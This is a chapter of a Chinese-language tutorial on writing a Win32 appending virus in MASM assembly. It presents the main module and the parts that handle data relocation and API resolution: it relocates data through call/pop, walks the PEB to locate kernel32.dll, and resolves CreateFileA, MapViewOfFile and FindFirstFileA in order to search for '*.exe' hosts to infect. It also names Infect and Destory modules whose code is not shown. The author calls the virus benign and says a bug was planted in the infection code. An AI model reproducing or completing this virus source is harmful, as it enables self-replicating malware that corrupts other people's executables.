OK,兑现我的承诺,从本章开始讲述“追加病毒”的编写方法。我们将实现一个只弹出对话框的良性病毒,但是考虑到这个代码可能造成的危害,我会在感染模块中写入一个小Bug。不过,对于大家的学习是毫无影响的。
回到正题,先介绍一下“追加病毒”,在DOS时代中,这种病毒相当常见。由于.com文件的入口点是固定的,而且我们知道DOS平台程序可以随意使用中断,因此追加病毒只要将病毒代码追加到宿主文件尾,然后修改入口点代码成“jmp [病毒入口点]”,病毒执行完成后,再jmp到宿主程序。
到了win32平台下,这种方法是不行滴。首先由于win32下,应用程序不能使用中断,取而代之的是API,但是常用宿主文件的PE文件格式只会为宿主文件本身配置API,病毒代码是不能直接得到的。其次将病毒代码追加到文件尾,如果不修改宿主文件的PE头,病毒可能不被加载到内存中。还有DOS追加病毒就存在的数据重定位问题,那么看看下面我们如何解决这些问题呢?
一.先看一下主模块——Main.asm
.386
.model flat, stdcall
option casemap:none
include windows.inc ;虽然不会调用这里的函数,但是其中的常量还是用的,比如INVILID
include My_Marco.asm ;自定义的一些宏,里边内容用的时候我再说
.code
Start:
main proc
;主模块分成五个子模块
Include Data_and_Locate.asm
Include ReLocate_API.asm
Include Infect.asm
Include Destory.asm
Include Cleanup_and_jmp.asm
ret
main endp
include My_GetProcAddress.asm;这个里边其中就是上一篇中的My_Get_API_Address
VirusSize=$-Start ;病毒长度
end Start
二.局部变量和只读数据以及只读数据重定位模块——Data_and_Locate.asm
;首先声明main proc的局部变量
LOCAL Kernel32Base:dword
LOCAL Kernel32NumberOfName:dword
LOCAL Kernel32AddressOfFunctions:dword
LOCAL Kernel32AddressOfNames:dword
LOCAL Kernel32AddressOfOrdinarls:dword
LOCAL DataBase:dword
LOCAL hKernel32DLL:HANDLE
LOCAL hUser32DLL:HANDLE
LOCAL hFindFirstFile:HANDLE
LOCAL szLocalFilePath[MAX_PATH]:byte
LOCAL stHostFile:PE_FileInformation
LOCAL stLocalFile:PE_FileInformation
LOCAL aLoadLibraryA:dword
LOCAL aGetProcAddress:dword
LOCAL aCreateFileA:dword
LOCAL aCreateFileMappingA:dword
LOCAL aMapViewOfFile:dword
LOCAL aFindFirstFileA:dword
LOCAL aFindNextFileA:dword
LOCAL aGetModuleFileNameA:dword
LOCAL aUnmapViewOfFile:dword
LOCAL aCloseHandle:dword
LOCAL aMessageBoxA:dword
LOCAL Temp:dword
LOCAL fd:WIN32_FIND_DATA
LOCAL NewSectionTable:dword
LOCAL Virus_OEP_File_Offset:dword
LOCAL Virus_OEP_Map_Offset:dword
;重定位数据,使得数据内嵌在代码节中,同时定位标记“Data:”的地址
call Relocation
Data:
sLoadLibraryA =$-Data ;该只读数据与Data的偏移
byte 'LoadLibraryA',0 ;数据内容,可以看出这是一个C风格的字符串
sGetProcAddress =$-Data
byte 'GetProcAddress',0
sKernel32DLL =$-Data
byte 'Kernel32.dll',0
sUser32DLL =$-Data
byte 'User32.dll',0
sCreateFileA =$-Data
byte 'CreateFileA',0
sCreateFileMappingA=$-Data
byte 'CreateFileMappingA',0
sMapViewOfFile =$-Data
byte 'MapViewOfFile',0
sFindFirstFileA =$-Data
byte 'FindFirstFileA',0
sFindFirstFileA_Param=$-Data
byte '*.exe',0
sFindNextFileA =$-Data
byte 'FindNextFileA',0
sGetModuleFileNameA=$-Data
byte 'GetModuleFileNameA',0
sUnmapViewOfFile =$-Data
byte 'UnmapViewOfFile',0
sGetFileSize =$-Data
byte 'GetFileSize',0
sCloseHandle =$-Data
byte 'CloseHandle',0
sCaption =$-Data
byte 'The virus for testing',0
sContext =$-Data
byte 'This is a additional virus',0
sMessageBoxA =$-Data
byte 'MessageBoxA',0
sNewSectionName =$-Data
byte '.Virus',0,0
aOEP_HostFile =$-Data
dword 0h
Relocation:
pop DataBase ;不但pop的值恰好是Data:的地址,call又巧妙地跳过数据块
三.API重定位模块——ReLocate_API.asm
;取得Kernel32.dll的基址
assume fs:nothing
mov eax, [fs:30h]
mov eax, [eax+0ch]
mov eax, [eax+1ch]
mov eax, [eax]
mov eax, [eax+8h]
mov Kernel32Base,eax
;利用LoadLibrary和GetProcAddress取得所需函数的地址
;这里使用了My_Marco.asm的宏
;PushData macro Base,OffsetAddress
; mov eax,Base
; add eax,OffsetAddress
; push eax
;ENDM
PushData DataBase,sLoadLibraryA
push Kernel32Base
call My_Get_API_Address
mov aLoadLibraryA,eax ;得到函数LoadLibraryA的地址
PushData DataBase,sGetProcAddress
push Kernel32Base
call My_Get_API_Address
mov aGetProcAddress,eax ;得到函数GetProcAddress的地址
;利用LoadLibrary和GetProcAddress取得所需函数的地址
;这里使用了My_Marco.asm的宏
;Using_API_LoadLibraryA macro Value,Base,OffsetAddress
; PushData Base,OffsetAddress
; call aLoadLibraryA
; mov Value,eax
;ENDM
;Using_API_GetProcAddress macro Value,Base,OffsetAddress,hDLL
; PushData Base,OffsetAddress
; Push hDLL
; call aGetProcAddress
; mov Value,eax
;ENDM
Using_API_LoadLibraryA hKernel32DLL,DataBase,sKernel32DLL
Using_API_LoadLibraryA hUser32DLL,DataBase,sUser32DLL
Using_API_GetProcAddress aCreateFileA,DataBase,sCreateFileA,hKernel32DLL
Using_API_GetProcAddress aCreateFileMappingA,DataBase,sCreateFileMappingA,hKernel32DLL
Using_API_GetProcAddress aMapViewOfFile,DataBase,sMapViewOfFile,hKernel32DLL
Using_API_GetProcAddress aFindFirstFileA,DataBase,sFindFirstFileA,hKernel32DLL
Using_API_GetProcAddress aFindNextFileA,DataBase,sFindNextFileA,hKernel32DLL
Using_API_GetProcAddress aGetModuleFileNameA,DataBase,sGetModuleFileNameA,hKernel32DLL
Using_API_GetProcAddress aUnmapViewOfFile,DataBase,sUnmapViewOfFile,hKernel32DLL
Using_API_GetProcAddress aCloseHandle,DataBase,sCloseHandle,hKernel32DLL
Using_API_GetProcAddress aMessageBoxA,DataBase,sMessageBoxA,hUser32DLL